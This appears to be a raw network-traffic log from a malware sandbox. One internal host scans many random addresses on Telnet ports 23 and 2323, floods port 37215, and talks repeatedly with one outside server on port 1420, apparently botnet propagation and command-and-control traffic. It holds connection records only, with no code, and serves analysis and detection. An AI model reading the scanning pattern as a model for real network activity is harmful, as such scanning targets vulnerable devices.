Nov 3, 2024 15:37:10.497384071 CET	36201	23	192.168.2.14	202.97.248.69
Nov 3, 2024 15:37:10.497389078 CET	36201	2323	192.168.2.14	187.207.242.40
Nov 3, 2024 15:37:10.497389078 CET	36201	23	192.168.2.14	54.35.161.220
Nov 3, 2024 15:37:10.497390032 CET	36201	23	192.168.2.14	202.55.252.151
Nov 3, 2024 15:37:10.497399092 CET	36201	23	192.168.2.14	77.95.64.220
Nov 3, 2024 15:37:10.497417927 CET	36201	23	192.168.2.14	197.43.128.57
Nov 3, 2024 15:37:10.497425079 CET	36201	23	192.168.2.14	154.239.145.93
Nov 3, 2024 15:37:10.497426987 CET	36201	2323	192.168.2.14	18.27.92.102
Nov 3, 2024 15:37:10.497427940 CET	36201	23	192.168.2.14	59.36.36.11
Nov 3, 2024 15:37:10.497428894 CET	36201	23	192.168.2.14	90.236.124.227
Nov 3, 2024 15:37:10.497428894 CET	36201	23	192.168.2.14	41.126.163.15
Nov 3, 2024 15:37:10.497430086 CET	36201	23	192.168.2.14	54.135.210.133
Nov 3, 2024 15:37:10.497430086 CET	36201	23	192.168.2.14	1.8.234.196
Nov 3, 2024 15:37:10.497430086 CET	36201	23	192.168.2.14	79.214.192.127
Nov 3, 2024 15:37:10.497430086 CET	36201	23	192.168.2.14	46.65.29.218
Nov 3, 2024 15:37:10.497438908 CET	36201	23	192.168.2.14	212.78.131.248
Nov 3, 2024 15:37:10.497441053 CET	36201	23	192.168.2.14	75.223.226.110
Nov 3, 2024 15:37:10.497451067 CET	36201	23	192.168.2.14	80.212.109.206
Nov 3, 2024 15:37:10.497451067 CET	36201	23	192.168.2.14	73.132.30.178
Nov 3, 2024 15:37:10.497461081 CET	36201	23	192.168.2.14	75.93.72.192
Nov 3, 2024 15:37:10.497468948 CET	36201	23	192.168.2.14	57.177.17.132
Nov 3, 2024 15:37:10.497468948 CET	36201	23	192.168.2.14	164.150.190.203
Nov 3, 2024 15:37:10.497478008 CET	36201	2323	192.168.2.14	34.240.106.17
Nov 3, 2024 15:37:10.497479916 CET	36201	23	192.168.2.14	148.77.220.122
Nov 3, 2024 15:37:10.497489929 CET	36201	23	192.168.2.14	207.87.231.43
Nov 3, 2024 15:37:10.497490883 CET	36201	23	192.168.2.14	166.229.184.135
Nov 3, 2024 15:37:10.497505903 CET	36201	23	192.168.2.14	19.191.88.250
Nov 3, 2024 15:37:10.497509956 CET	36201	23	192.168.2.14	92.236.140.125
Nov 3, 2024 15:37:10.497509956 CET	36201	23	192.168.2.14	122.227.91.113
Nov 3, 2024 15:37:10.497512102 CET	36201	23	192.168.2.14	218.199.240.133
Nov 3, 2024 15:37:10.497513056 CET	36201	23	192.168.2.14	212.141.221.39
Nov 3, 2024 15:37:10.497517109 CET	36201	23	192.168.2.14	107.219.100.151
Nov 3, 2024 15:37:10.497524977 CET	36201	2323	192.168.2.14	107.196.160.42
Nov 3, 2024 15:37:10.497526884 CET	36201	23	192.168.2.14	142.69.124.37
Nov 3, 2024 15:37:10.497540951 CET	36201	23	192.168.2.14	75.180.17.79
Nov 3, 2024 15:37:10.497541904 CET	36201	23	192.168.2.14	110.207.230.220
Nov 3, 2024 15:37:10.497541904 CET	36201	23	192.168.2.14	221.134.111.160
Nov 3, 2024 15:37:10.497548103 CET	36201	23	192.168.2.14	179.95.114.164
Nov 3, 2024 15:37:10.497555017 CET	36201	23	192.168.2.14	59.146.152.218
Nov 3, 2024 15:37:10.497576952 CET	36201	23	192.168.2.14	155.132.74.41
Nov 3, 2024 15:37:10.497576952 CET	36201	23	192.168.2.14	161.26.71.36
Nov 3, 2024 15:37:10.497576952 CET	36201	23	192.168.2.14	187.201.56.98
Nov 3, 2024 15:37:10.497577906 CET	36201	23	192.168.2.14	18.244.81.146
Nov 3, 2024 15:37:10.497580051 CET	36201	2323	192.168.2.14	112.27.20.118
Nov 3, 2024 15:37:10.497598886 CET	36201	23	192.168.2.14	173.143.216.250
Nov 3, 2024 15:37:10.497601032 CET	36201	23	192.168.2.14	197.97.17.195
Nov 3, 2024 15:37:10.497601986 CET	36201	23	192.168.2.14	61.62.159.223
Nov 3, 2024 15:37:10.497601986 CET	36201	23	192.168.2.14	70.162.237.186
Nov 3, 2024 15:37:10.497601986 CET	36201	23	192.168.2.14	160.70.125.94
Nov 3, 2024 15:37:10.497626066 CET	36201	23	192.168.2.14	141.241.10.207
Nov 3, 2024 15:37:10.497632027 CET	36201	23	192.168.2.14	209.181.50.91
Nov 3, 2024 15:37:10.497634888 CET	36201	2323	192.168.2.14	91.1.37.76
Nov 3, 2024 15:37:10.497634888 CET	36201	23	192.168.2.14	177.73.3.248
Nov 3, 2024 15:37:10.497637987 CET	36201	23	192.168.2.14	80.222.243.249
Nov 3, 2024 15:37:10.497637987 CET	36201	23	192.168.2.14	168.153.16.88
Nov 3, 2024 15:37:10.497639894 CET	36201	23	192.168.2.14	31.157.150.15
Nov 3, 2024 15:37:10.497639894 CET	36201	23	192.168.2.14	201.158.252.200
Nov 3, 2024 15:37:10.497641087 CET	36201	23	192.168.2.14	179.136.31.44
Nov 3, 2024 15:37:10.497648954 CET	36201	23	192.168.2.14	176.122.141.234
Nov 3, 2024 15:37:10.497648954 CET	36201	23	192.168.2.14	156.177.196.25
Nov 3, 2024 15:37:10.497648954 CET	36201	2323	192.168.2.14	99.108.91.224
Nov 3, 2024 15:37:10.497648954 CET	36201	23	192.168.2.14	157.72.46.155
Nov 3, 2024 15:37:10.497648954 CET	36201	23	192.168.2.14	163.11.132.29
Nov 3, 2024 15:37:10.497661114 CET	36201	23	192.168.2.14	41.102.92.124
Nov 3, 2024 15:37:10.497665882 CET	36201	23	192.168.2.14	81.95.112.139
Nov 3, 2024 15:37:10.497673035 CET	36201	23	192.168.2.14	175.69.155.144
Nov 3, 2024 15:37:10.497678995 CET	36201	23	192.168.2.14	48.254.129.188
Nov 3, 2024 15:37:10.497689962 CET	36201	23	192.168.2.14	42.1.105.177
Nov 3, 2024 15:37:10.497701883 CET	36201	23	192.168.2.14	177.248.224.104
Nov 3, 2024 15:37:10.497703075 CET	36201	23	192.168.2.14	78.252.4.186
Nov 3, 2024 15:37:10.497704029 CET	36201	23	192.168.2.14	114.166.69.175
Nov 3, 2024 15:37:10.497710943 CET	36201	23	192.168.2.14	62.231.201.49
Nov 3, 2024 15:37:10.499977112 CET	37215	37400	197.53.18.10	192.168.2.14
Nov 3, 2024 15:37:10.500037909 CET	37400	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:10.500057936 CET	37215	47948	156.184.33.107	192.168.2.14
Nov 3, 2024 15:37:10.500108004 CET	47948	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:11.270279884 CET	1420	34172	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:11.270351887 CET	34172	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:11.270406961 CET	34172	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:11.277396917 CET	34178	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:11.282237053 CET	1420	34178	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:11.282314062 CET	34178	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:11.282382965 CET	34178	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:11.287276030 CET	1420	34178	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:11.287323952 CET	34178	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:11.292217016 CET	1420	34178	198.12.107.126	192.168.2.14
Nov 3, 2024 15:37:11.481544018 CET	48064	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:11.481549978 CET	56664	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:11.481555939 CET	44796	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:11.481559038 CET	46668	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:11.481559038 CET	37922	37215	192.168.2.14	197.106.166.153
Nov 3, 2024 15:37:11.481559038 CET	40346	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:11.481559038 CET	55796	37215	192.168.2.14	41.158.151.80
Nov 3, 2024 15:37:11.481563091 CET	35902	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:11.481570005 CET	33060	37215	192.168.2.14	41.233.248.58
Nov 3, 2024 15:37:11.481570005 CET	34226	37215	192.168.2.14	41.191.196.11
Nov 3, 2024 15:37:11.481594086 CET	40094	37215	192.168.2.14	156.91.171.80
Nov 3, 2024 15:37:11.481594086 CET	39672	37215	192.168.2.14	156.175.54.142
Nov 3, 2024 15:37:11.481594086 CET	36656	37215	192.168.2.14	197.147.132.168
Nov 3, 2024 15:37:11.481594086 CET	36878	37215	192.168.2.14	197.31.149.169
Nov 3, 2024 15:37:11.481602907 CET	59588	37215	192.168.2.14	41.179.185.245
Nov 3, 2024 15:37:11.481604099 CET	56340	37215	192.168.2.14	197.183.22.28
Nov 3, 2024 15:37:11.481604099 CET	49890	37215	192.168.2.14	197.254.17.218
Nov 3, 2024 15:37:11.481604099 CET	43864	37215	192.168.2.14	197.204.14.128
Nov 3, 2024 15:37:11.481607914 CET	33438	37215	192.168.2.14	41.127.161.90
Nov 3, 2024 15:37:11.481607914 CET	54774	37215	192.168.2.14	156.103.148.132
Nov 3, 2024 15:37:11.481630087 CET	33116	37215	192.168.2.14	197.108.23.217
Nov 3, 2024 15:37:11.481631041 CET	37750	37215	192.168.2.14	41.204.27.199
Nov 3, 2024 15:37:11.481631994 CET	56962	37215	192.168.2.14	156.32.248.140
Nov 3, 2024 15:37:11.481631994 CET	49574	37215	192.168.2.14	41.53.63.239
Nov 3, 2024 15:37:11.481631994 CET	53508	37215	192.168.2.14	156.108.194.67
Nov 3, 2024 15:37:11.481631994 CET	40870	37215	192.168.2.14	41.115.20.24
Nov 3, 2024 15:37:11.481633902 CET	49530	37215	192.168.2.14	197.156.27.154
Nov 3, 2024 15:37:11.481633902 CET	50894	37215	192.168.2.14	197.213.145.152
Nov 3, 2024 15:37:11.481633902 CET	40444	37215	192.168.2.14	41.210.242.120
Nov 3, 2024 15:37:11.481633902 CET	49152	37215	192.168.2.14	197.226.142.141
Nov 3, 2024 15:37:11.481633902 CET	48942	37215	192.168.2.14	41.22.109.55
Nov 3, 2024 15:37:11.481635094 CET	54772	37215	192.168.2.14	41.166.36.238
Nov 3, 2024 15:37:11.481642008 CET	57540	37215	192.168.2.14	156.130.214.19
Nov 3, 2024 15:37:11.481642008 CET	37294	37215	192.168.2.14	156.1.250.39
Nov 3, 2024 15:37:11.481642008 CET	39056	37215	192.168.2.14	156.135.37.168
Nov 3, 2024 15:37:11.481642008 CET	33002	37215	192.168.2.14	197.137.102.189
Nov 3, 2024 15:37:11.481642008 CET	51742	37215	192.168.2.14	41.127.70.140
Nov 3, 2024 15:37:11.481673956 CET	57902	37215	192.168.2.14	41.95.41.83
Nov 3, 2024 15:37:11.481676102 CET	40250	37215	192.168.2.14	156.3.134.146
Nov 3, 2024 15:37:11.481676102 CET	45430	37215	192.168.2.14	41.219.228.84
Nov 3, 2024 15:37:11.481676102 CET	43330	37215	192.168.2.14	156.205.29.107
Nov 3, 2024 15:37:11.481676102 CET	55592	37215	192.168.2.14	41.215.234.93
Nov 3, 2024 15:37:11.481677055 CET	55748	37215	192.168.2.14	156.10.11.88
Nov 3, 2024 15:37:11.481676102 CET	55998	37215	192.168.2.14	156.74.107.240
Nov 3, 2024 15:37:11.481677055 CET	38342	37215	192.168.2.14	41.236.104.122
Nov 3, 2024 15:37:11.481681108 CET	49364	37215	192.168.2.14	197.211.76.111
Nov 3, 2024 15:37:11.481678009 CET	47600	37215	192.168.2.14	41.37.247.136
Nov 3, 2024 15:37:11.481681108 CET	52250	37215	192.168.2.14	197.4.6.115
Nov 3, 2024 15:37:11.481678963 CET	41994	37215	192.168.2.14	156.5.106.240
Nov 3, 2024 15:37:11.481678009 CET	33818	37215	192.168.2.14	41.208.203.43
Nov 3, 2024 15:37:11.481677055 CET	45744	37215	192.168.2.14	41.120.114.208
Nov 3, 2024 15:37:11.481678963 CET	49030	37215	192.168.2.14	156.197.2.99
Nov 3, 2024 15:37:11.481677055 CET	57990	37215	192.168.2.14	156.68.52.194
Nov 3, 2024 15:37:11.481678009 CET	41604	37215	192.168.2.14	156.221.255.137
Nov 3, 2024 15:37:11.481677055 CET	37242	37215	192.168.2.14	41.28.107.158
Nov 3, 2024 15:37:11.481678963 CET	56926	37215	192.168.2.14	197.27.247.143
Nov 3, 2024 15:37:11.481677055 CET	60094	37215	192.168.2.14	156.236.57.150
Nov 3, 2024 15:37:11.481678009 CET	42620	37215	192.168.2.14	41.217.7.145
Nov 3, 2024 15:37:11.481678963 CET	49894	37215	192.168.2.14	197.3.79.206
Nov 3, 2024 15:37:11.481678963 CET	55646	37215	192.168.2.14	156.45.242.111
Nov 3, 2024 15:37:11.481681108 CET	47282	37215	192.168.2.14	156.66.38.190
Nov 3, 2024 15:37:11.481681108 CET	58762	37215	192.168.2.14	156.178.4.247
Nov 3, 2024 15:37:11.481681108 CET	55750	37215	192.168.2.14	156.157.41.72
Nov 3, 2024 15:37:11.481681108 CET	45948	37215	192.168.2.14	156.122.194.113
Nov 3, 2024 15:37:11.481678963 CET	56660	37215	192.168.2.14	156.156.70.75
Nov 3, 2024 15:37:11.481698990 CET	49060	37215	192.168.2.14	41.104.189.119
Nov 3, 2024 15:37:11.481678963 CET	41288	37215	192.168.2.14	197.172.150.90
Nov 3, 2024 15:37:11.481698990 CET	52260	37215	192.168.2.14	197.170.70.85
Nov 3, 2024 15:37:11.481699944 CET	35682	37215	192.168.2.14	156.225.156.99
Nov 3, 2024 15:37:11.481698990 CET	58138	37215	192.168.2.14	156.56.65.215
Nov 3, 2024 15:37:11.481698990 CET	46172	37215	192.168.2.14	41.227.68.72
Nov 3, 2024 15:37:11.481699944 CET	33066	37215	192.168.2.14	41.197.53.234
Nov 3, 2024 15:37:11.481698990 CET	39066	37215	192.168.2.14	41.163.33.184
Nov 3, 2024 15:37:11.481699944 CET	58866	37215	192.168.2.14	197.117.220.43
Nov 3, 2024 15:37:11.481698990 CET	54204	37215	192.168.2.14	41.100.58.25
Nov 3, 2024 15:37:11.481709003 CET	33532	37215	192.168.2.14	156.78.250.236
Nov 3, 2024 15:37:11.481709003 CET	47940	37215	192.168.2.14	156.246.166.190
Nov 3, 2024 15:37:11.481709003 CET	33424	37215	192.168.2.14	156.93.99.76
Nov 3, 2024 15:37:11.481709003 CET	47612	37215	192.168.2.14	197.221.66.71
Nov 3, 2024 15:37:11.481746912 CET	55124	37215	192.168.2.14	197.252.145.215
Nov 3, 2024 15:37:11.481748104 CET	33454	37215	192.168.2.14	41.20.124.70
Nov 3, 2024 15:37:11.481748104 CET	52942	37215	192.168.2.14	156.147.112.122
Nov 3, 2024 15:37:11.481750965 CET	39812	37215	192.168.2.14	197.7.160.38
Nov 3, 2024 15:37:11.481751919 CET	41016	37215	192.168.2.14	41.226.57.61
Nov 3, 2024 15:37:11.481751919 CET	42908	37215	192.168.2.14	41.61.175.218
Nov 3, 2024 15:37:11.481751919 CET	35456	37215	192.168.2.14	197.176.255.237
Nov 3, 2024 15:37:11.481758118 CET	49242	37215	192.168.2.14	41.12.251.234
Nov 3, 2024 15:37:11.481758118 CET	54356	37215	192.168.2.14	41.163.133.62
Nov 3, 2024 15:37:11.481758118 CET	60998	37215	192.168.2.14	41.31.230.34
Nov 3, 2024 15:37:11.481758118 CET	49032	37215	192.168.2.14	156.111.125.131
Nov 3, 2024 15:37:11.481758118 CET	45022	37215	192.168.2.14	156.21.107.185
Nov 3, 2024 15:37:11.481758118 CET	44094	37215	192.168.2.14	41.150.8.227
Nov 3, 2024 15:37:11.481761932 CET	32860	37215	192.168.2.14	41.106.89.174
Nov 3, 2024 15:37:11.481761932 CET	53594	37215	192.168.2.14	156.243.181.34
Nov 3, 2024 15:37:11.481761932 CET	54432	37215	192.168.2.14	156.246.219.40
Nov 3, 2024 15:37:11.481761932 CET	47172	37215	192.168.2.14	41.194.161.217
Nov 3, 2024 15:37:11.481769085 CET	38642	37215	192.168.2.14	156.246.61.185
Nov 3, 2024 15:37:11.481769085 CET	60640	37215	192.168.2.14	197.140.71.172
Nov 3, 2024 15:37:11.481769085 CET	46434	37215	192.168.2.14	41.154.200.186
Nov 3, 2024 15:37:11.486473083 CET	37215	48064	41.218.80.154	192.168.2.14
Nov 3, 2024 15:37:11.486484051 CET	37215	56664	41.1.26.153	192.168.2.14
Nov 3, 2024 15:37:11.486494064 CET	37215	44796	197.65.19.126	192.168.2.14
Nov 3, 2024 15:37:11.486551046 CET	37215	35902	156.21.7.201	192.168.2.14
Nov 3, 2024 15:37:11.486556053 CET	56664	37215	192.168.2.14	41.1.26.153
Nov 3, 2024 15:37:11.486558914 CET	44796	37215	192.168.2.14	197.65.19.126
Nov 3, 2024 15:37:11.486558914 CET	48064	37215	192.168.2.14	41.218.80.154
Nov 3, 2024 15:37:11.486568928 CET	37215	46668	197.74.114.107	192.168.2.14
Nov 3, 2024 15:37:11.486578941 CET	37215	40346	197.34.76.106	192.168.2.14
Nov 3, 2024 15:37:11.486587048 CET	35902	37215	192.168.2.14	156.21.7.201
Nov 3, 2024 15:37:11.486614943 CET	46668	37215	192.168.2.14	197.74.114.107
Nov 3, 2024 15:37:11.486618042 CET	40346	37215	192.168.2.14	197.34.76.106
Nov 3, 2024 15:37:11.486651897 CET	35945	37215	192.168.2.14	41.142.252.94
Nov 3, 2024 15:37:11.486659050 CET	35945	37215	192.168.2.14	197.50.6.49
Nov 3, 2024 15:37:11.486663103 CET	35945	37215	192.168.2.14	197.85.32.235
Nov 3, 2024 15:37:11.486682892 CET	35945	37215	192.168.2.14	197.215.242.0
Nov 3, 2024 15:37:11.486682892 CET	35945	37215	192.168.2.14	197.117.185.40
Nov 3, 2024 15:37:11.486682892 CET	35945	37215	192.168.2.14	41.250.75.32
Nov 3, 2024 15:37:11.486682892 CET	35945	37215	192.168.2.14	156.181.90.181
Nov 3, 2024 15:37:11.486694098 CET	35945	37215	192.168.2.14	41.60.213.141
Nov 3, 2024 15:37:11.486696005 CET	35945	37215	192.168.2.14	41.18.250.175
Nov 3, 2024 15:37:11.486696959 CET	35945	37215	192.168.2.14	197.102.120.246
Nov 3, 2024 15:37:11.486696959 CET	35945	37215	192.168.2.14	41.167.8.47
Nov 3, 2024 15:37:11.486699104 CET	35945	37215	192.168.2.14	41.210.191.72
Nov 3, 2024 15:37:11.486701965 CET	35945	37215	192.168.2.14	156.156.176.178
Nov 3, 2024 15:37:11.486701965 CET	35945	37215	192.168.2.14	156.180.219.146
Nov 3, 2024 15:37:11.486701965 CET	35945	37215	192.168.2.14	156.224.243.161
Nov 3, 2024 15:37:11.486709118 CET	35945	37215	192.168.2.14	41.214.165.92
Nov 3, 2024 15:37:11.486710072 CET	35945	37215	192.168.2.14	41.3.205.220
Nov 3, 2024 15:37:11.486709118 CET	35945	37215	192.168.2.14	41.78.155.246
Nov 3, 2024 15:37:11.486711979 CET	35945	37215	192.168.2.14	156.49.139.46
Nov 3, 2024 15:37:11.486718893 CET	35945	37215	192.168.2.14	197.228.232.1
Nov 3, 2024 15:37:11.486721039 CET	35945	37215	192.168.2.14	156.242.34.60
Nov 3, 2024 15:37:11.486732006 CET	35945	37215	192.168.2.14	41.187.109.36
Nov 3, 2024 15:37:11.486732006 CET	35945	37215	192.168.2.14	197.232.52.75
Nov 3, 2024 15:37:11.486733913 CET	35945	37215	192.168.2.14	156.7.228.123
Nov 3, 2024 15:37:11.486735106 CET	35945	37215	192.168.2.14	41.110.68.137
Nov 3, 2024 15:37:11.486736059 CET	35945	37215	192.168.2.14	41.17.217.201
Nov 3, 2024 15:37:11.486737013 CET	35945	37215	192.168.2.14	197.171.9.56
Nov 3, 2024 15:37:11.486737013 CET	35945	37215	192.168.2.14	41.228.139.69
Nov 3, 2024 15:37:11.486741066 CET	35945	37215	192.168.2.14	156.1.249.79
Nov 3, 2024 15:37:11.486741066 CET	35945	37215	192.168.2.14	156.14.123.18
Nov 3, 2024 15:37:11.486742020 CET	35945	37215	192.168.2.14	197.11.108.139
Nov 3, 2024 15:37:11.486747980 CET	35945	37215	192.168.2.14	41.188.127.146
Nov 3, 2024 15:37:11.486762047 CET	35945	37215	192.168.2.14	41.61.131.214
Nov 3, 2024 15:37:11.486763000 CET	35945	37215	192.168.2.14	197.124.240.55
Nov 3, 2024 15:37:11.486763000 CET	35945	37215	192.168.2.14	197.178.170.240
Nov 3, 2024 15:37:11.486768961 CET	35945	37215	192.168.2.14	156.245.232.30
Nov 3, 2024 15:37:11.486772060 CET	35945	37215	192.168.2.14	156.104.37.85
Nov 3, 2024 15:37:11.486773014 CET	35945	37215	192.168.2.14	41.78.208.22
Nov 3, 2024 15:37:11.486774921 CET	35945	37215	192.168.2.14	156.109.196.171
Nov 3, 2024 15:37:11.486784935 CET	35945	37215	192.168.2.14	156.194.220.2
Nov 3, 2024 15:37:11.486785889 CET	35945	37215	192.168.2.14	41.114.244.61
Nov 3, 2024 15:37:11.486793995 CET	35945	37215	192.168.2.14	41.205.250.147
Nov 3, 2024 15:37:11.486798048 CET	35945	37215	192.168.2.14	41.219.8.244
Nov 3, 2024 15:37:11.486799002 CET	35945	37215	192.168.2.14	41.221.82.228
Nov 3, 2024 15:37:11.486800909 CET	35945	37215	192.168.2.14	156.218.12.27
Nov 3, 2024 15:37:11.486815929 CET	35945	37215	192.168.2.14	156.179.143.175
Nov 3, 2024 15:37:11.486818075 CET	35945	37215	192.168.2.14	41.159.210.33
Nov 3, 2024 15:37:11.486821890 CET	35945	37215	192.168.2.14	41.44.81.253
Nov 3, 2024 15:37:11.486821890 CET	35945	37215	192.168.2.14	41.166.108.65
Nov 3, 2024 15:37:11.486824036 CET	35945	37215	192.168.2.14	41.97.176.156
Nov 3, 2024 15:37:11.486828089 CET	35945	37215	192.168.2.14	41.220.167.93
Nov 3, 2024 15:37:11.486835957 CET	35945	37215	192.168.2.14	197.77.236.209
Nov 3, 2024 15:37:11.486843109 CET	35945	37215	192.168.2.14	156.78.254.53
Nov 3, 2024 15:37:11.486843109 CET	35945	37215	192.168.2.14	41.31.244.145
Nov 3, 2024 15:37:11.486843109 CET	35945	37215	192.168.2.14	41.236.254.136
Nov 3, 2024 15:37:11.486844063 CET	35945	37215	192.168.2.14	41.12.175.195
Nov 3, 2024 15:37:11.486844063 CET	35945	37215	192.168.2.14	41.33.178.48
Nov 3, 2024 15:37:11.486844063 CET	35945	37215	192.168.2.14	41.184.4.63
Nov 3, 2024 15:37:11.486851931 CET	35945	37215	192.168.2.14	41.161.132.10
Nov 3, 2024 15:37:11.486854076 CET	35945	37215	192.168.2.14	197.66.136.95
Nov 3, 2024 15:37:11.486854076 CET	35945	37215	192.168.2.14	41.120.60.26
Nov 3, 2024 15:37:11.486854076 CET	35945	37215	192.168.2.14	41.1.201.160
Nov 3, 2024 15:37:11.486867905 CET	35945	37215	192.168.2.14	197.150.248.219
Nov 3, 2024 15:37:11.486869097 CET	35945	37215	192.168.2.14	41.173.165.102
Nov 3, 2024 15:37:11.486869097 CET	35945	37215	192.168.2.14	156.143.239.2
Nov 3, 2024 15:37:11.486874104 CET	35945	37215	192.168.2.14	41.121.219.58
Nov 3, 2024 15:37:11.486874104 CET	35945	37215	192.168.2.14	197.34.249.192
Nov 3, 2024 15:37:11.486874104 CET	35945	37215	192.168.2.14	41.33.191.98
Nov 3, 2024 15:37:11.486875057 CET	35945	37215	192.168.2.14	197.185.140.166
Nov 3, 2024 15:37:11.486875057 CET	35945	37215	192.168.2.14	41.206.229.194
Nov 3, 2024 15:37:11.486876011 CET	35945	37215	192.168.2.14	156.107.4.59
Nov 3, 2024 15:37:11.486876965 CET	35945	37215	192.168.2.14	197.241.193.73
Nov 3, 2024 15:37:11.486876965 CET	35945	37215	192.168.2.14	156.26.122.122
Nov 3, 2024 15:37:11.486876965 CET	35945	37215	192.168.2.14	197.214.206.162
Nov 3, 2024 15:37:11.486881971 CET	35945	37215	192.168.2.14	197.119.81.195
Nov 3, 2024 15:37:11.486881971 CET	35945	37215	192.168.2.14	156.69.11.160
Nov 3, 2024 15:37:11.486882925 CET	35945	37215	192.168.2.14	156.57.195.176
Nov 3, 2024 15:37:11.486886024 CET	35945	37215	192.168.2.14	156.21.101.206
Nov 3, 2024 15:37:11.486886978 CET	35945	37215	192.168.2.14	41.1.153.201
Nov 3, 2024 15:37:11.486886978 CET	35945	37215	192.168.2.14	156.167.57.73
Nov 3, 2024 15:37:11.486890078 CET	35945	37215	192.168.2.14	156.230.63.137
Nov 3, 2024 15:37:11.486893892 CET	35945	37215	192.168.2.14	197.212.32.230
Nov 3, 2024 15:37:11.486898899 CET	35945	37215	192.168.2.14	41.50.105.2
Nov 3, 2024 15:37:11.486910105 CET	35945	37215	192.168.2.14	197.10.153.181
Nov 3, 2024 15:37:11.486913919 CET	35945	37215	192.168.2.14	197.167.34.58
Nov 3, 2024 15:37:11.486917973 CET	35945	37215	192.168.2.14	41.131.231.116
Nov 3, 2024 15:37:11.486922026 CET	35945	37215	192.168.2.14	197.197.175.130
Nov 3, 2024 15:37:11.486948967 CET	35945	37215	192.168.2.14	41.30.233.67
Nov 3, 2024 15:37:11.486949921 CET	35945	37215	192.168.2.14	41.251.28.58
Nov 3, 2024 15:37:11.486952066 CET	35945	37215	192.168.2.14	197.182.32.173
Nov 3, 2024 15:37:11.486953020 CET	35945	37215	192.168.2.14	197.145.63.109
Nov 3, 2024 15:37:11.486959934 CET	35945	37215	192.168.2.14	41.28.87.17
Nov 3, 2024 15:37:11.486959934 CET	35945	37215	192.168.2.14	41.211.41.53
Nov 3, 2024 15:37:11.486959934 CET	35945	37215	192.168.2.14	41.27.18.39
Nov 3, 2024 15:37:11.486963987 CET	35945	37215	192.168.2.14	197.31.251.74
Nov 3, 2024 15:37:11.486963987 CET	35945	37215	192.168.2.14	156.8.198.37
Nov 3, 2024 15:37:11.486963987 CET	35945	37215	192.168.2.14	41.53.184.255
Nov 3, 2024 15:37:11.486968040 CET	35945	37215	192.168.2.14	156.47.38.60
Nov 3, 2024 15:37:11.486968040 CET	35945	37215	192.168.2.14	41.153.229.156
Nov 3, 2024 15:37:11.486968994 CET	35945	37215	192.168.2.14	156.231.115.62
Nov 3, 2024 15:37:11.486969948 CET	37215	37922	197.106.166.153	192.168.2.14
Nov 3, 2024 15:37:11.486968040 CET	35945	37215	192.168.2.14	41.199.184.253
Nov 3, 2024 15:37:11.486968040 CET	35945	37215	192.168.2.14	197.208.126.137
Nov 3, 2024 15:37:11.486979008 CET	35945	37215	192.168.2.14	197.156.243.47
Nov 3, 2024 15:37:11.486982107 CET	35945	37215	192.168.2.14	41.160.66.236
Nov 3, 2024 15:37:11.486983061 CET	35945	37215	192.168.2.14	197.212.119.161
Nov 3, 2024 15:37:11.486984015 CET	35945	37215	192.168.2.14	41.240.22.144
Nov 3, 2024 15:37:11.486984015 CET	35945	37215	192.168.2.14	156.68.110.247
Nov 3, 2024 15:37:11.486984015 CET	35945	37215	192.168.2.14	41.235.156.221
Nov 3, 2024 15:37:11.486984015 CET	35945	37215	192.168.2.14	156.107.243.215
Nov 3, 2024 15:37:11.486984015 CET	35945	37215	192.168.2.14	197.212.97.10
Nov 3, 2024 15:37:11.486989975 CET	37215	55796	41.158.151.80	192.168.2.14
Nov 3, 2024 15:37:11.486990929 CET	35945	37215	192.168.2.14	156.221.119.176
Nov 3, 2024 15:37:11.486990929 CET	35945	37215	192.168.2.14	41.94.49.179
Nov 3, 2024 15:37:11.486994028 CET	35945	37215	192.168.2.14	156.107.75.62
Nov 3, 2024 15:37:11.486994982 CET	37215	33060	41.233.248.58	192.168.2.14
Nov 3, 2024 15:37:11.486994982 CET	35945	37215	192.168.2.14	41.228.116.53
Nov 3, 2024 15:37:11.486995935 CET	35945	37215	192.168.2.14	41.221.96.87
Nov 3, 2024 15:37:11.486999035 CET	37215	34226	41.191.196.11	192.168.2.14
Nov 3, 2024 15:37:11.486999989 CET	35945	37215	192.168.2.14	41.14.67.16
Nov 3, 2024 15:37:11.486999989 CET	35945	37215	192.168.2.14	197.65.166.64
Nov 3, 2024 15:37:11.487001896 CET	35945	37215	192.168.2.14	41.190.2.66
Nov 3, 2024 15:37:11.487003088 CET	37215	59588	41.179.185.245	192.168.2.14
Nov 3, 2024 15:37:11.487005949 CET	37215	33438	41.127.161.90	192.168.2.14
Nov 3, 2024 15:37:11.487010002 CET	37215	56340	197.183.22.28	192.168.2.14
Nov 3, 2024 15:37:11.487015963 CET	35945	37215	192.168.2.14	197.160.19.71
Nov 3, 2024 15:37:11.487016916 CET	35945	37215	192.168.2.14	41.14.228.250
Nov 3, 2024 15:37:11.487018108 CET	35945	37215	192.168.2.14	197.129.253.165
Nov 3, 2024 15:37:11.487018108 CET	35945	37215	192.168.2.14	156.161.124.233
Nov 3, 2024 15:37:11.487019062 CET	35945	37215	192.168.2.14	197.33.71.46
Nov 3, 2024 15:37:11.487019062 CET	35945	37215	192.168.2.14	41.248.30.45
Nov 3, 2024 15:37:11.487019062 CET	35945	37215	192.168.2.14	197.24.254.120
Nov 3, 2024 15:37:11.487020016 CET	35945	37215	192.168.2.14	41.94.229.176
Nov 3, 2024 15:37:11.487020969 CET	35945	37215	192.168.2.14	156.252.231.189
Nov 3, 2024 15:37:11.487020969 CET	35945	37215	192.168.2.14	197.65.138.107
Nov 3, 2024 15:37:11.487021923 CET	35945	37215	192.168.2.14	156.205.166.56
Nov 3, 2024 15:37:11.487023115 CET	37215	49890	197.254.17.218	192.168.2.14
